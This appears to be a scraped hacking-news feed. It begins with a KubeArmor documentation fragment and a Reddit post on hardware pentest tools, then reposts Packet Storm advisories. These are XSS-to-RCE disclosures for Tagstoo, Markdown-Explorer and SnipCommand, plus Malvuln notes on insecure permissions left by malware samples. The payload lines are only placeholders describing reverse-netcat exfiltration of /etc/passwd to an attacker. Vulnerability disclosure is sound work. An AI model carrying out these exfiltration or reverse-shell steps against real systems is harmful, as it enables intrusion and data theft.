than interactions among containers. However, using KubeArmor a user can add policies that could apply policy settings at the level of network system calls (e.g., bind(), listen(), accept(), and connect()), thus somewhat controlling interactions among containers. Getting StartedPlease take a look at the following documents.

1. Deployment Guide
2. Security Policy Specification for Containers
3. Security Policy Examples for Containers
4. Security Policy Specification for Nodes (Hosts)
5. Security Policy Examples for Nodes (Hosts)

If you want to make a contribution, please refer to the following documents too.

1. Contribution Guide
2. Development Guide
3. Technical Roadmap Community*
Slack

Please join the KubeArmor Slack channel to communicate with KubeArmor developers and other users. We always welcome having a discussion about the problems that you face during the use of KubeArmor. Download KubeArmor

___________________________
@hacking_Attack
@Hacking_Video

Any useful tool lists?
https://www.reddit.com/r/Pentesting/comments/n5ty6u/any_useful_tool_lists/

I've been playing around in my idle moments with various hardware tools and was curious if anyone knows of any lists of which tools are interesting and useful. So far I have played with: Digispark repurposed as a USB Rubber Ducky Proxmark Easy (a lot cheaper than the RDV4) ESP-RFID-TOOL (a quarter of the price of ESPkey) used with an HID pad Chameleon Mini Pro Yes I tend to go for the cheap alternatives, as this is not my profession, but this does give me a good understanding of the tools and their capability. So, any suggestions? submitted by /u/JDeMolay1314 (https://www.reddit.com/user/JDeMolay1314)
[link] (https://www.reddit.com/r/Pentesting/comments/n5ty6u/any_useful_tool_lists/) [comments] (https://www.reddit.com/r/Pentesting/comments/n5ty6u/any_useful_tool_lists/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Tagstoo 2.0.1 Cross Site Scripting / Code Execution

https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png
Tagstoo version 2.0.1 suffers from a cross site scripting vulnerability that can lead to remote code execution.

MD5 | e4b6ab6f7999504181314036d2b0450f

Download
# Exploit Title: Tagstoo v2.0.1 - Stored XSS to RCE
# Exploit Author: TaurusOmar
# Twitter:@TaurusOmar
# HomePage:taurusomar.com
# Date: May 4th, 2021
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
# Risk: High (8.8)
# Vendor Homepage: https://tagstoo.sourceforge.io/
# Version: v2.0.1
# Tested on: Windows, Linux, MacOs

# Software Description:
Software to tag folders and files, with multimedia and epubs preview.
You can export data with the tagging information to a file, as backup or to import it in any computer.

# Vulnerability Description:

The software allows you to store payloads in the form of files or custom tags, once the malicious code is entered, the payload will be executed immediately.

The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to the
the remote attacker to get remote execution on the computer or directly open the folder in the program.

# Proof video
https://imgur.com/a/smeAjaW
# Payload 1: exec(calc)

#Decode Payload
#Encode Payload
x
# Payload 2: exec(netcat remote stolen file => /etc/passwd)

#Decode Payload
#Encode Payload

x

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan.Win32.Agent.xdtv Insecure Permissions

https://2.bp.blogspot.com/-swqN45HZtSI/WWlvXv0Z4fI/AAAAAAAAIOY/czRV0nNAPTIk5N0xfOCTXuQJzRjI48a4wCLcBGAs/s1600/h53.png
Trojan.Win32.Agent.xdtv malware suffers from an insecure permissions vulnerability.

MD5 | 07d0994f65fe6c84a13ec37c8cb643d8

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ffa9b76f9549a2c46415c855a0911e8a.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Agent.xdtv
Vulnerability: Insecure Permissions
Description: The malware creates an insecure installation dir under "C:\Program Files (x86)" and grants full (F) permissions to the Everyone user group. Standard users can rename the executables dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: ffa9b76f9549a2c46415c855a0911e8a
Vuln ID: MVID-2021-0198
Disclosure: 05/04/2021

Exploit/PoC:
C:\>cacls "C:\Program Files (x86)\Cannonnt"
C:\Program Files (x86)\Cannonnt Everyone:(OI)(CI)F

C:\>cd "\Program Files (x86)\Cannonnt"

C:\Program Files (x86)\Cannonnt>dir
Volume in drive C has no label.

Directory of C:\Program Files (x86)\Cannonnt

05/10/2012 05:04 PM 53,248 messenger.exe
05/10/2012 05:04 PM 122,880 rdbms.exe
05/10/2012 05:04 PM 196,608 RDS.exe
05/10/2012 05:04 PM 233,472 windns.exe
4 File(s) 606,208 bytes

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Markdown-Explorer 0.1.1 Cross Site Scripting / Code Execution

https://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png
Markdown-Explorer version 0.1.1 suffers from a cross site scripting vulnerability that can lead to remote code execution.

MD5 | fc8011faa7d4469e905701a412002aa4

Download
# Exploit Title: Markdown-Explorer 0.1.1 XSS to RCE
# Exploit Author: TaurusOmar
# Twitter:@TaurusOmar
# HomePage:taurusomar.com
# Date: May 4th, 2021
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
# Risk: High (8.8)
# Vendor Homepage: https://github.com/jersou/markdown-explorer
# Version: 0.1.1
# Tested on: Windows, Linux, MacOs

# Software Description:
Easily explore, view and edit markdown documentation of a file tree.
If your projects documentation is written in Markdown, with md files dispersed throughout your project tree, Markdown Explorer displays md files in a tree structure, and it allows filtering by file name or by file content.
Just drop a folder on the window (or click on the folder icon on top left) to show the Markdown documentation of this folder. Then, explore the tree on the left, and toggle view/edit mode on md file with the button on the top right.
# Vulnerability Description:
The software allows you to store payloads within its own editor, as well as upload (.md) files once malicious code is entered, the payload will be executed immediately.
The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to
the remote attacker to get remote execution on the computer.
#Proof
https://imgur.com/a/w4bcPWs
# Payload : exec(Attacker Reverse netcat stolen => /etc/passwd) && exec(calc)

[](http://)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SnipCommand 0.1.0 Cross Site Scripting / Code Execution

https://4.bp.blogspot.com/-sHG2jViTb-c/WWlvSCf2XfI/AAAAAAAAINY/YxfxwjOK_o05QB9TpuqqysTdHaIb3yf8wCLcBGAs/s1600/h36.png
SnipCommand version 0.1.0 suffers from a cross site scripting vulnerability that can lead to remote code execution.

MD5 | 34dc1fa9d8c9fea6965bfb141eda50dc

Download
# Exploit Title: SnipCommand 0.1.0 XSS to RCE
# Exploit Author: TaurusOmar
# Twitter:@TaurusOmar
# HomePage:taurusomar.com
# Date: May 4th, 2021
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
# Risk: High (8.8)
# Vendor Homepage: https://github.com/gurayyarar/SnipCommand
# Version: 0.1.0
# Tested on: Windows, Linux, MacOs

# Software Description:
Open source command snippets manager for organize and copy fast.
It helps you create, organize and store your commands (Excel formulas, Sql Queries, Terminal commands, etc.) with dynamic parameters for quick copy to it. Describe your commands with dynamic parameters also support documentation about your snippets. You can select or specify your dynamic values using with selectbox/inputbox for ready to paste the workspace. You can organize with tags.
# Vulnerability Description:
The software allows you to store payloads in the form of files or as titles in their dynamic values, once the malicious code is entered, the payload will be executed immediately.
The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to the
the remote attacker to get remote execution on the computer.

#Proof video
https://imgur.com/a/I2reH1M
# Payload: exec(Attacker Reverse netcat stolen => /etc/passwd) && exec(calc)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Floder.gqe Insecure Permissions

https://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png
Backdoor.Win32.Floder.gqe malware suffers from an insecure permissions vulnerability.

MD5 | 7a96c300f8bf1d4f77f000871c8fcc6c

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/0629e3b2ab8a973a3e37e4e97cb9cfea.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Floder.gqe
Vulnerability: Insecure Permissions
Description: The malware creates an hidden insecure dir named "RECYCLER" under c:\ drive and grants change (C) permissions to the authenticated user group. Standard users can rename the executables dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 0629e3b2ab8a973a3e37e4e97cb9cfea
Vuln ID: MVID-2021-0200
Dropped files: zaberg.exe, Desktop.ini
Disclosure: 05/04/2021

Exploit/PoC:
C:\>cacls RECYCLER
C:\RECYCLER BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
C:\>dir /a RECYCLER
Volume in drive C has no label.

Directory of C:\RECYCLER

05/01/2021 11:11 PM S-1-5-21-0243556031-888888379-781863308-1830
0 File(s) 0 bytes
3 Dir(s) 7,337,779,200 bytes free

C:\>cd \RECYCLER\S-1-5-21-0243556031-888888379-781863308-1830

C:\RECYCLER\S-1-5-21-0243556031-888888379-781863308-1830>dir /a
Volume in drive C has no label.

Directory of C:\RECYCLER\S-1-5-21-0243556031-888888379-781863308-1830

05/01/2021 11:11 PM 63 Desktop.ini
06/17/2012 02:46 AM 24,064 zaberg.exe
2 File(s) 24,127 bytes
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video